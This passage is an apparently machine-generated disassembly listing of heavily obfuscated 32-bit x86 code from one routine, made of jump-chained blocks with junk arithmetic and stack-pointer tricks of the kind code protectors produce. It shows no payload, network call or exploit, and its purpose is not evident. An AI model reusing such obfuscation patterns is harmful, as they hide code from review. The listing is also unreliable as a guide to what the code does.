		xor	[esp-12h+arg_8+2], 54537D03h
		push	[esp-12h+arg_8+2]
		jmp	loc_5A097F
; ---------------------------------------------------------------------------


loc_5A9F8B:				; CODE XREF: sub_58A891+19B1Dj
		not	esi
		xor	esi, 0C3D78DFEh
		sub	ebx, esi
		pop	esi
		push	esi
		mov	esi, 6B105B81h
		jmp	loc_59E1DD
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5B01DE
; ---------------------------------------------------------------------------


loc_5A9FA9:				; CODE XREF: sub_58A891+24861j
		mov	ecx, [esp+98h+var_9A+2]
		push	3B3Ch
		mov	[esp+9Ch+var_9E+2], eax
		mov	eax, esp
		jmp	loc_5B1F06
; ---------------------------------------------------------------------------


loc_5A9FBB:				; CODE XREF: sub_58A891+15C92j
					; sub_58A891+1C35Bj
		mov	cl, 0D6h
		jmp	loc_5AF305
; ---------------------------------------------------------------------------


loc_5A9FC2:				; CODE XREF: sub_58A891+145B6j
					; sub_58A891+24838j
		pop	eax
		add	edi, 4
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edi
		jmp	loc_5AE5E8
; ---------------------------------------------------------------------------


loc_5A9FD1:				; CODE XREF: sub_58A891+17FC7j
		jo	loc_5A45F7
		add	ecx, 3020C204h
		add	edi, ecx
		push	[esp+8Eh+var_8E]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp+8Eh+var_8E]
		push	eax
		jmp	loc_5AFE67
; ---------------------------------------------------------------------------


loc_5A9FF7:				; CODE XREF: sub_58A891+1B1E9j
		xchg	ebx, [esp+36h+var_38+2]
		pop	esp
		mov	[esp+32h+var_34+2], ebx
		mov	eax, [esp+32h+var_34+2]
		push	5321h
		mov	[esp+36h+var_38+2], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		push	ecx
		mov	ecx, 20F80339h
		push	edi
		mov	edi, 20F8033Dh
		jmp	loc_5A9F73
; ---------------------------------------------------------------------------


loc_5AA022:				; CODE XREF: sub_58A891+13D66j
		push	7EC0h
		mov	[esp+86h+var_86], edi
		push	ebx
		push	esi
		mov	esi, 42432BA9h
		jmp	loc_5ABEAF
; ---------------------------------------------------------------------------


loc_5AA036:				; CODE XREF: sub_58A891+124A2j
		push	401Dh
		mov	[esp+8Ah+var_8A], eax
		jmp	loc_59D706
; ---------------------------------------------------------------------------


loc_5AA043:				; CODE XREF: sub_58A891+174C7j
					; sub_58A891+21C12j
		mov	edx, 61FB442Ah
		jmp	loc_5B2C08
; ---------------------------------------------------------------------------


loc_5AA04D:				; CODE XREF: sub_58A891+265C3j
		sub	ecx, 47092A03h
		jmp	loc_5A7A7D
; ---------------------------------------------------------------------------


loc_5AA058:				; CODE XREF: sub_58A891+27F63j
		push	dword ptr [esp+0]
		jmp	loc_59EBB6
; ---------------------------------------------------------------------------


loc_5AA060:				; CODE XREF: sub_58A891+22FB1j
		sub	eax, esi
		push	ebp
		mov	ebp, 70834C12h
		add	eax, ebp
		pop	ebp
		jmp	loc_5A2A90
; ---------------------------------------------------------------------------


loc_5AA070:				; CODE XREF: sub_58A891+1811Ej
					; sub_58A891+1C1EBj
		push	edx
		mov	edx, 0A1614386h
		add	ebx, 412218ECh
		jmp	loc_5A5C9A
; ---------------------------------------------------------------------------


loc_5AA081:				; CODE XREF: sub_58A891+12324j
					; sub_58A891+1BC11j
		mov	esi, 3CDC0EC0h
		and	esi, 2B334E54h
		jmp	loc_5AB9A9
; ---------------------------------------------------------------------------


loc_5AA091:				; CODE XREF: sub_58A891+1AD3Aj
		add	esp, 4
		push	ecx
		jmp	loc_59E9DA
; ---------------------------------------------------------------------------


loc_5AA09A:				; CODE XREF: sub_58A891+15ED1j
					; sub_58A891+1B32Dj
		pop	ebp
		pop	[esp+3Eh+var_40+2]
		jmp	loc_5B16E3
; ---------------------------------------------------------------------------


loc_5AA0A3:				; CODE XREF: sub_58A891+1DCA0j
		push	eax
		mov	eax, 1C436D3Ch
		and	edi, eax
		jmp	loc_5A349C
; ---------------------------------------------------------------------------


loc_5AA0B0:				; CODE XREF: sub_58A891+1549Dj
		add	esi, 4
		push	esi
		jmp	loc_5AB94B
; ---------------------------------------------------------------------------


loc_5AA0BC:				; CODE XREF: sub_58A891+12D1Dj
		pop	ebx
		and	edx, 183979A4h
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		mov	ecx, 691172E0h
		add	ecx, 471F4230h
		shr	ecx, 7
		not	ecx
		jmp	loc_5AA8E4
; ---------------------------------------------------------------------------


loc_5AA0E1:				; CODE XREF: sub_58A891+16F1Dj
		add	eax, 4
		add	eax, 4
		jmp	loc_59E2F9
; ---------------------------------------------------------------------------


loc_5AA0F0:				; CODE XREF: sub_58A891+14CABj
		push	ebx
		mov	ebx, 7C667FB6h
		sub	esi, ebx
		pop	ebx
		or	esi, 1A1B2366h
		dec	esi
		sub	esi, 0C5BA3E79h
		and	ebp, esi
		pop	esi
		push	edi
		mov	edi, 1C994A20h
		xor	edi, 882BE63Bh
		sub	ebp, edi
		pop	edi
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 6B6430EDh
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A1F33
; ---------------------------------------------------------------------------


loc_5AA129:				; CODE XREF: sub_58A891+157BAj
		mov	[esp+1Eh+var_20+2], ebp
		mov	ebp, 5A823483h
		sub	eax, 4B75189Bh
		add	eax, ebp
		jmp	loc_5AE581
; ---------------------------------------------------------------------------


loc_5AA13D:				; CODE XREF: sub_58A891+1682Fj
		mov	ecx, edx
		pop	edx
		jmp	loc_5AE07E
; ---------------------------------------------------------------------------


loc_5AA145:				; CODE XREF: sub_58A891:loc_59CBBAj
		jmp	loc_5AA9CE
; ---------------------------------------------------------------------------


loc_5AA14A:				; CODE XREF: sub_58A891+12C9Fj
		sub	ecx, 6CE4726Ch
		shl	ecx, 3
		jmp	loc_5A51D9
; ---------------------------------------------------------------------------


loc_5AA158:				; CODE XREF: sub_58A891+1F05Ej
		add	ebx, 135A8A8h
		jmp	loc_5A7D7B
; ---------------------------------------------------------------------------


loc_5AA163:				; CODE XREF: sub_58A891+275F5j
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_5A5D81
; ---------------------------------------------------------------------------


loc_5AA170:				; CODE XREF: sub_58A891+146FEj
		sub	esp, 4
		mov	[esp+8Eh+var_8E], eax
		mov	ah, 0DFh
		add	ah, 10h
		sub	bl, 3Ah
		add	bl, 77h
		sub	bl, ah
		sub	bl, 77h
		add	bl, 3Ah
		mov	eax, [esp+8Eh+var_8E]
		add	esp, 4
		push	4913h
		jmp	loc_5ACC49
; ---------------------------------------------------------------------------


loc_5AA199:				; CODE XREF: sub_58A891+20129j
		pop	esp
		mov	[esp+8Ah+var_8A], ebx
		push	6C17h
		mov	[esp+8Eh+var_8E], esi
		jmp	loc_5A65E2
; ---------------------------------------------------------------------------


loc_5AA1AA:				; CODE XREF: sub_58A891+21433j
		mov	edi, 71C23037h
		sub	ebx, edi
		jmp	loc_5A55E1
; ---------------------------------------------------------------------------


loc_5AA1B6:				; CODE XREF: sub_58A891+18D8Fj
		xchg	ecx, [esp+0CEh+var_D0+2]
		pop	esp
		mov	[esp+0CAh+var_CC+2], esi
		push	edx
		mov	edx, 314716ECh
		jmp	loc_5A17D4
; ---------------------------------------------------------------------------


loc_5AA1C8:				; CODE XREF: sub_58A891+2116Dj
		push	edi
		mov	edi, 4CE35270h
		sub	edi, 0A5F2A183h
		jmp	loc_59E8E1
; ---------------------------------------------------------------------------


loc_5AA1D9:				; CODE XREF: sub_58A891+1925Dj
		add	ecx, 9DED58DBh
		mov	ebx, ecx
		jmp	loc_5ABEDF
; ---------------------------------------------------------------------------


loc_5AA1E6:				; CODE XREF: sub_58A891+24D0Bj
		jmp	loc_5A6C15
; ---------------------------------------------------------------------------


loc_5AA1EB:				; CODE XREF: sub_58A891+1659Aj
					; sub_58A891+23281j
		sub	al, ch
		pop	ecx
		add	bl, al
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		sub	bl, 1Ch
		add	bl, al
		add	bl, 1Ch
		push	ecx
		push	ebx
		mov	bh, 8Dh
		mov	cl, 4Ah
		jmp	loc_5A92C2
; ---------------------------------------------------------------------------


loc_5AA209:				; CODE XREF: sub_58A891+12BE3j
		push	[esp+2+var_4+2]
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		add	esp, 4
		pop	eax
		push	79DEh
		jmp	loc_59C569
; ---------------------------------------------------------------------------


loc_5AA223:				; CODE XREF: sub_58A891+1D2A5j
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		add	edx, 4
		push	341Ah
		jmp	loc_5A684F
; ---------------------------------------------------------------------------


loc_5AA239:				; CODE XREF: sub_58A891+230A1j
		mov	edx, 57813FFDh
		push	ebx
		mov	ebx, 16B51A58h
		xor	edx, ebx
		pop	ebx
		shl	edx, 2
		push	edx
		xchg	edi, [esp+12h+var_14+2]
		jmp	loc_5AD7BD
; ---------------------------------------------------------------------------


loc_5AA253:				; CODE XREF: sub_58A891+1917Dj
		add	al, bl
		add	al, 4Bh
		mov	bx, word ptr [esp+1Ah+var_1C+2]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		jmp	loc_5A3E4A
; ---------------------------------------------------------------------------


loc_5AA274:				; CODE XREF: sub_58A891+1D49Dj
		mov	eax, 4CF94168h
		jmp	loc_5AC568
; ---------------------------------------------------------------------------


loc_5AA27E:				; CODE XREF: sub_58A891+27F36j
		mov	ebp, [esp+7Eh+var_7E]
		add	esp, 4
		jmp	loc_5AC3B5
; ---------------------------------------------------------------------------


loc_5AA289:				; CODE XREF: sub_58A891+12536j
		mov	dh, 8Eh
		xor	dh, 17h
		jmp	loc_5B2B04
; ---------------------------------------------------------------------------


loc_5AA293:				; CODE XREF: sub_58A891+21EDAj
		xchg	ecx, [esp+9Ah+var_9A]
		pop	esp
		mov	[esp+96h+var_96], edi
		push	1
		jmp	loc_5B2B55
; ---------------------------------------------------------------------------


loc_5AA2A4:				; CODE XREF: sub_58A891+12957j
		sub	esp, 4
		mov	[esp+7Eh+var_7E], ebx
		jmp	loc_5A952F
; ---------------------------------------------------------------------------


loc_5AA2B2:				; CODE XREF: sub_58A891+116EBj
		mov	[esp+1Ah+var_1C+2], ebx
		mov	bl, 0BDh
		shl	bl, 5
		push	edx
		mov	dl, bl
		not	dl
		mov	bl, dl
		pop	edx
		push	eax
		mov	al, 7Eh
		push	ecx
		mov	cl, 0D6h
		jmp	loc_5ABCC9
; ---------------------------------------------------------------------------


loc_5AA2CD:				; CODE XREF: sub_58A891+1419Ej
		mov	edi, eax
		pop	eax
		jmp	loc_5B2A76
; ---------------------------------------------------------------------------


loc_5AA2D5:				; CODE XREF: sub_58A891:loc_59D535j
		dec	edi
		jno	loc_5AF9A9
		jmp	loc_5A14AA
; ---------------------------------------------------------------------------
		pop	esi
		add	ebx, 1
		mov	eax, edx


loc_5AA2EA:				; CODE XREF: sub_58A891+1E82Dj
		mov	edi, 37612593h
		jmp	loc_59FC0A
; ---------------------------------------------------------------------------


loc_5AA2F4:				; CODE XREF: sub_58A891+19640j
		push	esp
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		push	esi
		mov	esi, 1DE15118h
		and	esi, 1A366541h
		add	esi, 0E7DFBF04h
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], eax
		push	edi
		mov	edi, 69C20C4Fh
		jmp	loc_5ADEE5
; ---------------------------------------------------------------------------


loc_5AA32A:				; CODE XREF: sub_58A891+190F1j
		push	6E5Eh
		mov	[esp+96h+var_96], ecx
		mov	ecx, offset byte_6135F1
		mov	edx, ecx
		jmp	loc_5A2669
; ---------------------------------------------------------------------------


loc_5AA33E:				; CODE XREF: sub_58A891+20B7Fj
		mov	esi, [esp+96h+var_96]
		push	esi
		mov	esi, esp
		jmp	loc_5A3887
; ---------------------------------------------------------------------------


loc_5AA349:				; CODE XREF: sub_58A891+152E2j
		jg	loc_5A2DB0
		sub	ecx, 23D47AAEh
		jg	loc_59F584
		push	ecx


loc_5AA35C:				; CODE XREF: sub_58A891+1B404j
		mov	ebp, 6E9420Ch
		push	esi
		mov	esi, 6A43577Fh
		add	eax, esi
		jmp	loc_5A2958
; ---------------------------------------------------------------------------


loc_5AA36E:				; CODE XREF: sub_58A891+14581j
		dec	ecx
		xor	ecx, 6ED7378h
		jmp	loc_5A4DCE
; ---------------------------------------------------------------------------


loc_5AA37A:				; CODE XREF: sub_58A891+24DCBj
		add	ebp, edx
		add	ebp, 31F44798h
		pop	edx
		push	ebp
		push	[esp+16h+var_14+2]
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		jmp	loc_5A42E9
; ---------------------------------------------------------------------------


loc_5AA39C:				; CODE XREF: sub_58A891+1F516j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp+72h+var_74+2], ebx
		push	ecx
		mov	cl, 26h
		neg	cl
		shr	cl, 2
		jz	loc_5AFF46
		xor	cl, 8
		shl	cl, 4
		shr	cl, 8
		jmp	loc_59D4DA
; ---------------------------------------------------------------------------


loc_5AA3CA:				; CODE XREF: sub_58A891+187C2j
		add	esi, 4
		xor	esi, [esp+92h+var_92]
		xor	[esp+92h+var_92], esi
		xor	esi, [esp+92h+var_92]
		jmp	loc_5A37D7
; ---------------------------------------------------------------------------


loc_5AA3DB:				; CODE XREF: sub_58A891+16C3Aj
		push	ebp
		mov	ebp, 0A58BFC7Bh
		sub	edi, ebp
		pop	ebp
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_5A59DA
; ---------------------------------------------------------------------------
		push	[esp+70h+var_70]
		pop	eax
		sub	esp, 4
		mov	[esp+74h+var_74], edx
		mov	edx, esp
		jmp	loc_5A28E7
; ---------------------------------------------------------------------------


loc_5AA406:				; CODE XREF: sub_58A891:loc_59DA72j
					; sub_58A891+18F7Bj
		shr	ebp, 4
		jmp	loc_5AF670
; ---------------------------------------------------------------------------


loc_5AA40E:				; CODE XREF: sub_58A891+1715Fj
		push	edx
		mov	dh, 0E7h
		add	al, dh
		pop	edx
		add	al, 30h
		push	4A02h
		mov	[esp+0DEh+var_E0+2], edx
		push	ebx
		mov	bl, 83h
		shr	bl, 3
		jp	loc_5B121C
		not	bl
		sub	bl, 32h
		jns	loc_5AF730
		shl	bl, 1
		push	edx
		mov	dl, 9Ch
		or	dl, 97h
		not	dl
		xor	dl, 78h
		add	bl, dl
		pop	edx
		jmp	loc_5A426A
; ---------------------------------------------------------------------------


loc_5AA44A:				; CODE XREF: sub_58A891+14533j
		sub	ebx, 1FE183ABh
		jmp	loc_5AFC78
; ---------------------------------------------------------------------------


loc_5AA455:				; CODE XREF: sub_58A891+1547Cj
		mov	ebx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		add	eax, 10E31757h
		jmp	loc_5AEC0F
; ---------------------------------------------------------------------------


loc_5AA46A:				; CODE XREF: sub_58A891:loc_59D05Aj
		add	eax, 0BF9FCE04h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		push	ecx
		mov	ecx, 4BBF78F8h
		jmp	loc_5A1775
; ---------------------------------------------------------------------------


loc_5AA481:				; CODE XREF: sub_58A891+1A45Cj
		mov	edx, 0A1CEB5D9h
		sub	edx, 3F9E6237h
		sub	edx, ebp
		jmp	loc_5ABECD
; ---------------------------------------------------------------------------


loc_5AA493:				; CODE XREF: sub_58A891+24445j
		mov	ecx, [esp+80h+var_82+2]
		add	esp, 4
		push	esi
		not	[esp+80h+var_82+2]
		pop	esi
		shl	esi, 8
		push	ebp
		mov	ebp, 0DA9253FEh
		sub	esi, ebp
		push	[esp+80h+var_82+2]
		pop	ebp
		add	esp, 4
		add	edi, esi
		jmp	loc_5AC3FA
; ---------------------------------------------------------------------------


loc_5AA4BA:				; CODE XREF: sub_58A891+16A1Aj
		sub	esi, 34586EC5h
		and	esi, 37691430h
		xor	esi, 36480024h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+38h+var_38]
		pop	esp
		sub	esp, 4
		mov	[esp+38h+var_38], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+38h+var_38]
		jmp	loc_5AE52B
; ---------------------------------------------------------------------------


loc_5AA4EF:				; CODE XREF: sub_58A891+24D82j
		pop	ebp
		pop	ebp
		push	ebx
		mov	ebx, 1836626Ah
		jmp	loc_5B0673
; ---------------------------------------------------------------------------


loc_5AA4FC:				; CODE XREF: sub_58A891+118F5j
		mov	ebp, 5C1A145Ch
		shl	ebp, 5
		shl	ebp, 7
		shl	ebp, 7
		shl	ebp, 6
		xor	ebp, 43D764EEh
		jmp	loc_5A3751
; ---------------------------------------------------------------------------


loc_5AA518:				; CODE XREF: sub_58A891+1554Cj
		shr	eax, 4
		add	eax, 6BAEDD02h
		sub	esi, eax
		mov	eax, [esp-0Ah+arg_0+2]
		add	esp, 4
		mov	ecx, [esp-0Eh+arg_4+2]
		push	0A1Eh
		mov	[esp-0Ah+arg_0+2], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 2EAF747Dh
		jmp	loc_5B0D63
; ---------------------------------------------------------------------------


loc_5AA540:				; CODE XREF: sub_58A891+20892j
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	51F8h
		mov	[esp+0], eax
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_59F573
; ---------------------------------------------------------------------------


loc_5AA558:				; CODE XREF: sub_58A891+26B9Dj
		add	bl, al
		pop	eax
		jmp	loc_5AD878
; ---------------------------------------------------------------------------


loc_5AA560:				; CODE XREF: sub_58A891+250D3j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A6B46
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		jmp	loc_5B201B
; ---------------------------------------------------------------------------


loc_5AA573:				; CODE XREF: sub_58A891+15C9Aj
					; sub_58A891+25348j
		mov	esp, [esp+0A4h+var_A6+2]
		jmp	loc_59D507
; ---------------------------------------------------------------------------


loc_5AA57B:				; CODE XREF: sub_58A891+1FD1Bj
		or	eax, 0FFB11C0h
		push	edx
		jmp	loc_59F5F2
; ---------------------------------------------------------------------------


loc_5AA586:				; CODE XREF: sub_58A891+18A73j
		mov	esi, 270A5B7Ah
		and	esi, 104A3796h
		sub	esi, 6DD0416Bh
		dec	esi
		shl	esi, 2
		sub	esi, 380DFC57h
		xor	eax, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_5AA57B
; ---------------------------------------------------------------------------


loc_5AA5B1:				; CODE XREF: sub_58A891+13179j
		sub	al, ch
		pop	ecx
		push	ebx
		jmp	loc_5AFAD4
; ---------------------------------------------------------------------------


loc_5AA5BA:				; CODE XREF: sub_58A891+1994Bj
		or	ebx, 34E6677Ch
		or	ebx, 39532C45h
		shr	ebx, 7
		jmp	loc_5A4789
; ---------------------------------------------------------------------------


loc_5AA5CE:				; CODE XREF: sub_58A891+1DAA8j
		mov	esi, 2D253520h
		sub	esp, 4
		jmp	loc_5B1AF5
; ---------------------------------------------------------------------------


loc_5AA5DE:				; CODE XREF: sub_58A891+1A0F8j
		pop	edx
		add	edx, 3A35759Ch
		jmp	loc_5A6A5E
; ---------------------------------------------------------------------------


loc_5AA5EA:				; CODE XREF: sub_58A891+23CBAj
		sub	ah, 0FFh
		push	edx
		jmp	loc_5AC72F
; ---------------------------------------------------------------------------


loc_5AA5F3:				; CODE XREF: sub_58A891+17126j
		pop	edi
		jmp	loc_5A28D2
; ---------------------------------------------------------------------------


loc_5AA5F9:				; CODE XREF: sub_58A891+14A6Ej
		push	ebx
		mov	ebx, 0F760E71h
		jmp	loc_5A7B05
; ---------------------------------------------------------------------------


loc_5AA604:				; CODE XREF: sub_58A891+1B70Ej
		pop	edi
		push	34FBh
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		jmp	loc_5A2E42
; ---------------------------------------------------------------------------


loc_5AA614:				; CODE XREF: sub_58A891+18A88j
		xchg	edx, [esp-0Eh+arg_4+2]
		mov	esp, [esp-0Eh+arg_4+2]
		mov	[esp-0Eh+arg_4+2], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA622:				; CODE XREF: sub_58A891+1C429j
					; sub_58A891+1D109j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Eh+var_8E]
		mov	esp, [esp+8Eh+var_8E]
		xor	ebx, ebp
		pop	ebp
		and	ecx, ebx
		mov	ebx, [esp+8Ah+var_8A]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_5A3F70
; ---------------------------------------------------------------------------


loc_5AA653:				; CODE XREF: sub_58A891+24AB0j
		push	ebx
		mov	bl, 5Ah
		sub	bl, 1
		shr	bl, 4
		push	ecx
		mov	ch, 0FCh
		sub	bl, 0DBh
		add	bl, ch
		jmp	loc_5AC246
; ---------------------------------------------------------------------------


loc_5AA669:				; CODE XREF: sub_58A891+13BE8j
		or	ebx, esi
		pop	esi
		dec	ebx
		jmp	loc_5A830D
; ---------------------------------------------------------------------------


loc_5AA672:				; CODE XREF: sub_58A891+1FE5Fj
		pop	esp
		push	eax
		mov	eax, esp
		push	ecx
		push	ebp
		sub	esp, 4
		mov	[esp+8Eh+var_8E], esp
		add	[esp+8Eh+var_8E], 4
		pop	ebp
		sub	esp, 4
		mov	[esp+8Eh+var_8E], ecx
		mov	ecx, 4
		add	ebp, 21297FB8h
		add	ebp, ecx
		sub	ebp, 21297FB8h
		pop	ecx
		jmp	loc_5A78B2
; ---------------------------------------------------------------------------


loc_5AA6A5:				; CODE XREF: sub_58A891+1F6B3j
		and	ebx, 14932A94h
		jns	loc_5AF1BA
		not	ebx
		sub	ebx, 7F80EB55h
		jmp	loc_59DC62
; ---------------------------------------------------------------------------
		mov	dh, ah


loc_5AA6C0:				; CODE XREF: sub_58A891+206ACj
		add	edi, 3DEDF41Fh
		and	ebx, edi
		pop	edi
		jmp	loc_5B1029
; ---------------------------------------------------------------------------


loc_5AA6CE:				; CODE XREF: sub_58A891+1D7EFj
		push	67BF5001h
		pop	ebp
		or	ebp, 111C4079h
		jns	loc_5A2C81
		jmp	loc_5ADE44
; ---------------------------------------------------------------------------
		xor	al, bl
		sub	esp, 4


loc_5AA6ED:				; CODE XREF: sub_58A891+18C00j
		pop	[esp+36h+var_38+2]
		jmp	loc_5AA672
; ---------------------------------------------------------------------------


loc_5AA6F5:				; CODE XREF: sub_58A891+1A571j
		mov	ch, 0E8h
		jmp	loc_5AACC6
; ---------------------------------------------------------------------------


loc_5AA6FC:				; CODE XREF: sub_58A891+22681j
		jmp	loc_5A0132
; ---------------------------------------------------------------------------


loc_5AA701:				; CODE XREF: sub_58A891+26E7Dj
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	eax, 4
		xor	eax, [esp+0A4h+var_A6+2]
		xor	[esp+0A4h+var_A6+2], eax
		jmp	loc_5B0108
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0A2h+var_A2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA726:				; CODE XREF: sub_58A891+1C37Fj
		add	ecx, 8E510459h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AF44A
; ---------------------------------------------------------------------------


loc_5AA734:				; CODE XREF: sub_58A891+160ADj
		pop	ecx
		push	ecx
		jmp	loc_5A5F02
; ---------------------------------------------------------------------------


loc_5AA73B:				; CODE XREF: sub_58A891+2139Ej
		add	edx, ebp
		sub	edx, 703D523Ch
		mov	ebp, [esp+6Ch+var_6C]
		add	esp, 4
		xor	edx, [esp+68h+var_68]
		jmp	loc_5A423A
; ---------------------------------------------------------------------------


loc_5AA751:				; CODE XREF: sub_58A891+1B070j
		mov	[esp+4Eh+var_4E], esi
		jmp	loc_5B28B8
; ---------------------------------------------------------------------------


loc_5AA759:				; CODE XREF: sub_58A891:loc_59FA7Dj
		or	eax, 2A0A05C9h
		jnb	loc_59D944
		xor	eax, 0F36537C8h
		jmp	loc_5A8D3E
; ---------------------------------------------------------------------------
		push	edx
		xor	al, 11h
		pop	esi


loc_5AA772:				; CODE XREF: sub_58A891+27C1Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-12h+arg_8+2]
		pop	esp
		jmp	loc_59ED96
; ---------------------------------------------------------------------------


loc_5AA789:				; CODE XREF: sub_58A891+1C1F3j
		push	edx
		mov	dl, 0Ah
		dec	dl
		xor	dl, 21h
		xor	bh, dl
		pop	edx
		mov	ah, 26h
		xor	ah, bh
		jmp	loc_5A69EC
; ---------------------------------------------------------------------------


loc_5AA79D:				; CODE XREF: sub_58A891+1468Bj
		add	eax, 4
		jmp	loc_5AD6B1
; ---------------------------------------------------------------------------


loc_5AA7A7:				; CODE XREF: sub_58A891+22BDDj
		shr	cl, 3
		jmp	loc_5AB67F
; ---------------------------------------------------------------------------


loc_5AA7AF:				; CODE XREF: sub_58A891+20810j
		mov	edx, 5D5B6559h
		add	edx, 0FE2005F9h
		mov	esi, edx
		push	[esp+7Ah+var_7A]
		mov	edx, [esp+7Eh+var_7E]
		add	esp, 4
		add	esp, 4
		and	ecx, esi
		pop	esi
		or	ecx, 1E49609Dh
		push	4360h
		mov	[esp+0], esi
		mov	esi, 1F496379h
		sub	ecx, 39CB0658h
		jmp	loc_5A5682
; ---------------------------------------------------------------------------


loc_5AA7E9:				; CODE XREF: sub_58A891+1B286j
					; sub_58A891+27365j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA7EE:				; CODE XREF: sub_58A891+1322Ej
		add	esp, 4
		sub	edi, 54597F2Ch
		jmp	loc_5A23EB
; ---------------------------------------------------------------------------


loc_5AA7FC:				; CODE XREF: sub_58A891+117BAj
		push	ecx
		mov	ecx, 40A30A53h
		dec	ecx
		shr	ecx, 6
		shl	ecx, 7
		xor	ecx, 0BA0636FDh
		or	edx, ecx
		pop	ecx
		jmp	loc_5A7915
; ---------------------------------------------------------------------------


loc_5AA817:				; CODE XREF: sub_58A891+238E4j
		sub	al, 0E5h
		push	dx
		jmp	loc_5A83CA
; ---------------------------------------------------------------------------


loc_5AA820:				; CODE XREF: sub_58A891+11F32j
		add	esi, 0FFFFFFFFh
		xor	esi, 68580367h
		shl	esi, 1
		add	esi, 413238E8h
		add	edx, esi
		jmp	loc_5ADE74
; ---------------------------------------------------------------------------


loc_5AA838:				; CODE XREF: sub_58A891+15AEAj
		push	esi
		push	esp
		mov	esi, [esp+0A6h+var_A6]
		add	esp, 4
		push	5073h
		mov	[esp+0A6h+var_A6], ebx
		jmp	loc_5AE8A0
; ---------------------------------------------------------------------------


loc_5AA84D:				; CODE XREF: sub_58A891+14E02j
		add	ebp, 4
		xchg	ebp, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_5AE363
; ---------------------------------------------------------------------------


loc_5AA85E:				; CODE XREF: sub_58A891+1F153j
		mov	edi, [esp+0A4h+var_A6+2]
		jmp	loc_5A1236
; ---------------------------------------------------------------------------


loc_5AA866:				; CODE XREF: sub_58A891+1F4B0j
		pop	edi
		sub	[esp+44h+var_40], edx
		sub	[esp+44h+var_40], 23F17255h
		push	ecx
		mov	ecx, 2CD46344h
		add	[esp+48h+var_40], ecx
		pop	ecx
		mov	edx, [esp+44h+var_46+2]
		push	181Fh
		mov	[esp+48h+var_4A+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		jmp	loc_5A96BF
; ---------------------------------------------------------------------------


loc_5AA897:				; CODE XREF: sub_58A891+13F6Dj
					; sub_58A891+1BF95j ...
		jmp	loc_5B20D5
; ---------------------------------------------------------------------------


loc_5AA89C:				; CODE XREF: sub_58A891+17AE9j
		push	4C195037h
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5AA8A6:				; CODE XREF: sub_58A891+21E38j
		xor	eax, edx
		mov	edx, [esp+0A2h+var_A2]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A7376
; ---------------------------------------------------------------------------


loc_5AA8B3:				; CODE XREF: sub_58A891+1AAD7j
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA8BC:				; CODE XREF: sub_58A891+23369j
		xor	[esp+86h+var_86], edi
		xor	edi, [esp+86h+var_86]
		pop	esp
		mov	[esp+82h+var_82], edi
		mov	edi, 1AD36C36h
		jmp	loc_5A028A
; ---------------------------------------------------------------------------


loc_5AA8D0:				; CODE XREF: sub_58A891+18970j
		mov	[esp+22h+var_24+2], eax
		mov	eax, 2A962B9Ah
		push	eax
		neg	[esp+26h+var_28+2]
		mov	eax, [esp+26h+var_28+2]
		jmp	loc_5AB340
; ---------------------------------------------------------------------------


loc_5AA8E4:				; CODE XREF: sub_58A891+1F84Bj
		push	eax
		push	ecx
		mov	ecx, 1D342921h
		push	ebx
		push	2D4A15F9h
		pop	ebx
		sub	ecx, ebx
		jmp	loc_59E357
; ---------------------------------------------------------------------------


loc_5AA8F9:				; CODE XREF: sub_58A891+144C9j
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A237F
; ---------------------------------------------------------------------------


loc_5AA907:				; CODE XREF: sub_58A891+19549j
		pop	edx
